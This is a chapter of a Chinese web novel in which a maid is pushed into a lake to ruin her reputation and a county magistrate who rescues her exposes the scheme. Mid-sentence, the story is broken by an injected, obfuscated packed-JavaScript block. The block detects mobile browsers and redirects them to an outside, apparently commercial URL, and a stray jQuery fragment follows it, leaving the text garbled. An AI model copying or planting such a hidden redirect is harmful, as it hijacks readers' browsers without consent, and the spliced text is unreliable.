4. 落水

作品:《清正权臣为爱发疯后

    沈玉蕴今日本不当值,可恰巧云霁病了,她便只能来帮云霁做事。


    云霁和她同是江乐黎身边的大丫鬟,云霁性子活泼开朗,是以她们关系素来很好。


    她正督促着小丫鬟们将待客的瓜果备好,有一面生的婢女突然来,说要找云霁姐姐。


    沈玉蕴说云霁现下正在屋内养病,小丫鬟听了,着急的眼泪都要掉下来:“云霁姐姐说了今日要帮我去沁水亭当值,主君要在那里单独招待贵客,大娘子那边我又走不开,这可怎么办?”


    沈玉蕴问了她在两边当值的时间,心中有了主意。


    她看着这边已将瓜果准备好,想来是没什么大问题,便吩咐道:“你先别急,沁水亭那边我这就帮你去。


    刚好你离去大娘子那儿当差还有一点时间,你留一会儿,帮我看着她们,让她们将这些瓜果好生端上去,不可出任何差池。”


    那小丫鬟听了,赶忙点点头,拉着她的手亲昵道:“玉蕴姐姐,今日的事多谢你。”


    “不必言谢,我本就是替云霁姐姐当值的。”


    沈玉蕴匆匆赶到了沁水亭,可这里非但没有什么主君,甚至连一个准备茶点的下人都没有。


    她仔细回想了刚才的事,这才觉得处处都不对劲。


    若是云霁有答应过大娘子身边的小丫鬟要替她当值,没道理不提前告诉她。


    而且刚那个丫鬟,她确定她从未见过。


    想到这里,她赶忙加快脚步往回走,可突然不知从哪儿冒出来一个虎背熊腰的婢女,力气极大,直直将她推进了沁水湖。


    沈玉蕴不通水性,在水中拼命扑腾挣扎,口鼻都进了水,过了会儿,已然呼吸不畅,眼见着力气消失殆尽,将要沉入水底。


    恍惚中,她又听到一声巨大的落水声,随即便感觉有人搂住了她的腰,一边将她往水上托举,一边将她往岸边带。


    脚底的支撑感让沈玉蕴升起了前所未有的安全感,她拼命的咳嗽,直到微凉的空气再次进入体内,或许是劫后余生的后怕,她紧紧抓着救她之人的手迟迟不松。


    那人似乎感知到她的害怕,也不催她,只静静等着她从落水的恐惧中缓过来。


    过了许久,沈玉蕴终于觉得能正常喘息,她回头正要言谢,却直直撞入一双如画的眉眼。


    梅澜清见她望过来,放柔了嗓音问:“可好些了?”


    眼见梅澜清与她一样浑身湿透,细碎的乌发贴在脸上,却丝毫不影响他的好样貌,反而为他添了些破碎的美感。


    沈玉蕴垂下眸不敢再看:“多谢梅郎君搭救。梅郎君如今湿了衣物,不妨随奴婢回听雨院,找小郎君换件衣服?”


    梅澜清却并未注意她在说什么,眼神看向外侧,眼神立刻凌厉起来。


    她迟疑地看向他,梅澜清只示意她噤声。


    就在下一刻,一群人熙熙攘攘的赶了过来,在最前面的,赫然是江乐黎以及刚才骗她来沁心亭的丫鬟。


    江乐黎望向沁水湖,平静湖面悄无声息,只有远处几个雀儿略过荡出圈圈涟漪,哪里有什么人。


    他语气愠怒:“你说玉蕴落水了?”


    那小丫鬟显然没料到湖里竟然没人,她战战兢兢地跪下,辩解道:“小郎君,奴婢刚刚真的亲眼看到玉蕴姐姐落了水,这才想找人搭救。


    许是……许是刚被人救了也说不定……”


    乾朝虽然民风开化,女子可二嫁,但对未婚女子依旧严苛。如今这种时节,女子多穿薄衣,若是被男子救了,清白怕也就没了。


    江乐黎怒道:“胡说八道!你无凭无据便想毁人清白,谁给你的胆子!来人……”


    “且慢。”江景熹和符氏恰巧赶到。


    符氏给了身边王妈妈一个眼神,王妈妈上前一步道:“既然涉及到清白这种大事,定然要好好查一番,免得日后有数不清的流言蜚语。”


    “母亲……”


    “黎儿,女儿家的事王嬷嬷比你会处理,你且安心。”


    王妈妈等江乐黎不再言语,接着道:“这事简单,既然那小丫鬟没有落水,此刻把她找来,不就真相大白了么?”


    符氏依旧端庄雍容,挥了挥手,身边几个小丫鬟知晓其意,便小跑着去找沈玉蕴。


    此时,和梅澜清一起藏在不远处假山后的沈玉蕴听着,哪里还有什么不懂的?


    那个丫鬟显然是大娘子布的局,目的就是让她在江乐黎面前失了清白,随便嫁个人家,再也不敢肖想清风霁月的小郎君。


    沈玉蕴垂下眸子,还有水珠顺着她的眉眼往下流,瞧着格外狼狈,她的身体也开始止不住的发抖,不知是冷的,还是怕的。


    身后,梅澜清察觉到她的失态,想拍拍她的肩安慰,却见她湿透了的薄衫牢牢贴在身上,隐约可见里面的冰肌玉骨。


    梅澜清收回手,脱掉自己湿透了的外衫披到她身上,轻声安抚:“莫怕,我去解决。”


    沈玉蕴裹紧了他同样湿透了的外衫,只觉刚才的寒凉都被驱散,她看向他笃定的侧脸,点了点头。


    虽不知这位梅郎君有什么办法,可总比她现在湿着衣裳出去好得多。


    梅澜清绕到沈玉蕴藏身的假山后走了一圈,这才从另一个方向缓缓走向人群中。


    “今日可真是热闹啊。”


    他声音并不大,语调也并不激烈,可心思活跃的偏偏就能听出来这位梅郎君的心情似乎不怎么好。


    待走近了,众人才看到梅澜清湿透的衣物,以及因入了水被完全浸湿而凌乱的冠发。


    纵然是狼狈的模样,可梅澜清的气势却未因此减损分毫。


    刚在席上与他相谈甚欢的县令见他这副狼狈模样,诧异不已:“梅县令,你这……这又是从何说起啊?”


    梅澜清向那人点了点头,一双清冷的眼带着审视直直看向那丫鬟:“就从我失了清白说起。”


    众人:“……”


    江乐黎:“……”


    符氏脸色一变,又飞快掩饰过去,笑道:“梅郎君可真会说笑。来人,带梅郎君下去将湿衣物换掉。”


    梅澜清自是看出符氏是想借机将他的事就此平息,平息了他的事,便能处置沈玉蕴。


    他抬手制止:“不必了。江大娘子有所不知,某落水并非意外,而是有人蓄意谋害。”


    此话一出,身后众人皆窃窃私语起来。


    若说刚才那事也不过一个丫鬟的清白,说不上什么大事,他们也只是来看看热闹,可梅澜清就不一样了。


    他身为县令,朝廷命官,被人在知州的府上蓄意谋害,这可是掉脑袋的大事。


    符氏没想到梅澜清一点面子都不给,脸上笑容僵了僵。


    梅澜清走到那丫鬟面前俯视她,语气凌厉:“如今你是唯一一个说看到有人落水的人,那本官问你几个问题,你如实回答。”


    那丫鬟显然没见过这等架势,再加上心虚,只垂着头不敢应答。


    梅澜清,只是问却不管她愿不愿意,问道:“你何时在沁心湖边看到有人落水?”


    那丫鬟声音都有些发颤:“午时……”


    “午时几刻?”


    “午时……二刻。”


    “你可在周边发现有形迹可疑之人?”


    “未曾。”


    “那这么说,那人落水是意外所致?”


    “想来……想来应该是。”


    “撒谎!”梅澜清冷笑一声,睨着她,“你看到有人落水,不大声喊人呼救,反而跑去那么远将江小郎君和江知州都叫来。


    知道的说你是去求救,不知道的还以为你专门来找人捉奸。”


    “何况一个丫鬟落水,何以这么大的阵仗?!”


    小丫鬟吓得快哭出来,瘦小的身体开始颤抖,只顾着磕头道:“奴婢说的句句属实啊。”


    “句句属实?”梅澜清哆哆紧逼,“本官午时一刻尚在宴会上,因多饮了几杯酒头晕目眩,告知了同僚后,离席来到沁心湖吹风醒酒,正要离开时,有人从后面将本官推落水,算起来正是午时二刻。”


    “你午时二刻看到的落水之人究竟是谁?”梅澜清轻挑了下眉,降下语调,句句诱逼,“还是说,推我落水之人,是你?”


    谋害朝廷命官可是重罪,小丫鬟本就因说谎心虚害怕,再加上梅澜清气势压制,此刻被吓得魂不附体。


    嘴里只说着“不是我”,眼睛却时不时看向


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141207|196346||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    大娘子身边的王妈妈,眼瞧着像是被吓破了胆。


    梅澜清凉凉地顺着她的目光瞥了眼,那婆子慌忙避开眼,后退了几步,他又看向江大娘子,那位江大娘子倒算是临危不乱,只是手中帕子几乎要被手指搅碎。


    梅澜清收回目光,闲步到江家夫妇面前,符氏下意识后退一步,梅澜清却似没看到一般,行了一礼,道:“某承蒙江知州厚爱,却不成想竟在宴上遭遇此等阴狠算计。


    某想,怕是有人故意挑拨某和江知州的关系,此人用心险恶,其心可诛!还请江大娘子辛苦一番,将此丫鬟的同谋找出来,以免日后家宅不宁。”


    别说符氏,就连江景熹也被梅澜清刚才的气势镇住,半晌没回过神,眼看他给了个台阶,江景熹赶紧抓住。


    “不敢不敢,让梅县令在知府府上遭遇此事,实在是我的失职。我定会让府上大娘子将此事查清,给梅县令一个交代。”


    梅澜清抬眼,望着符氏轻笑:“既如此,某就安心了。”


    符氏不自在的躲过了他的目光,却说刚吹了冷风头疼要回院子休息,愿诸位谅解。


    掺着她的王妈妈心思活泛,一脸担忧地说大娘子前几日刚着了凉,身子不适,得了江知州许可后扶着符氏离开了。


    江景熹见状,让一旁看着的江乐黎带梅澜清去换衣物,又打着招呼圆场,领着一众人往宴会上去,推杯换盏,仿若无事发生。


    一到听雨院,江乐黎便吩咐身边的小丫鬟赶快去找件新衣来。


    他甚至等不及梅澜清换掉湿漉漉的衣服,便焦急问道:“梅兄,这到底是怎么一回事?玉蕴呢?”


    江乐黎不是蠢人,从刚才几人异样的表现中,他已猜到事情不对劲。


    刚才王妈妈和那个当众叫他去沁心湖,声称玉蕴落水的小丫鬟,很明显是冲着玉蕴去的。


    午时,他也曾回听雨院找过玉蕴,听雨院也的确不见玉蕴的身影。


    这些联系在一起,他能想到的合理解释,只能是玉蕴的确如她们所说,落了水,却被人救了,衣衫单薄,不方便现身。


    可具体的,他却一点也没头绪。


    梅澜清喝着热茶,情绪难辨地瞥了江乐黎一眼:“刚才我在沁心湖醒酒,恰巧碰到那丫头落水,随手将人救了。


    本想着赶快回来换身衣裳,却不成想一群人突然过来,她只能躲在假山后,不过现在,应该已经回来了。”


    江乐黎松了口气,紧皱的眉宇终于松开,他向梅澜清行了一个大礼:“多谢梅兄对玉蕴的救命之恩。若日后有什么需要的,江某一定在所不辞。”


    梅澜清丝毫没有扶他的打算,说到底,今日之事也是江乐黎无能。


    自己的婢女在自己家被人算计了,他不知情也就罢了。那丫鬟当众说沈玉蕴落水,要带着他往沁心湖去,他竟然也傻乎乎地跟着去。


    真是……蠢得让人恼火。


    梅澜清喝了口茶,平复了下情绪,才道:“江兄不在乎那小丫鬟丢了清白?”


    梅澜清摩挲着杯面,若他说在乎的话,就先打一顿,再把那丫头带走,反正江乐黎也没什么本事,护不住人。


    “梅兄说笑了。你我之辈,岂会认同此等迂腐之辞?”


    梅澜清将茶盏重重放下,心绪复杂,实在说不上开心。他又转了话题,问道:“那你觉得今日之事,谁是幕后之人?”


    江乐黎看向那白釉镶金的茶杯,只当是梅澜清被连累落了水心情不好。


    他沉吟了片刻,蹙眉道:“无论如何,此事是我江家家事,家中自会处置。至于梅兄所提之事,我相信父亲和母亲会给梅兄一个满意的答复。”


    梅澜清锐利地目光看了他半晌,喉中溢出一声笑:“希望贵府能还冤枉之人一个清白,如此也不算辱了读书人的颜面。”


    江乐黎脸色白了又白,夹带着些许尴尬无措。


    只一眼,梅澜清便看出来,他不是猜不到幕后之人是谁,只是不想处置,也不能处置。


    他又恍惚想起上一世沈玉蕴过分纤瘦的模样。


    那时身边那小丫鬟叫她小娘,应当是成了江乐黎的妾室。可主君不公正,婆母无德行,她又如何能过得好呢?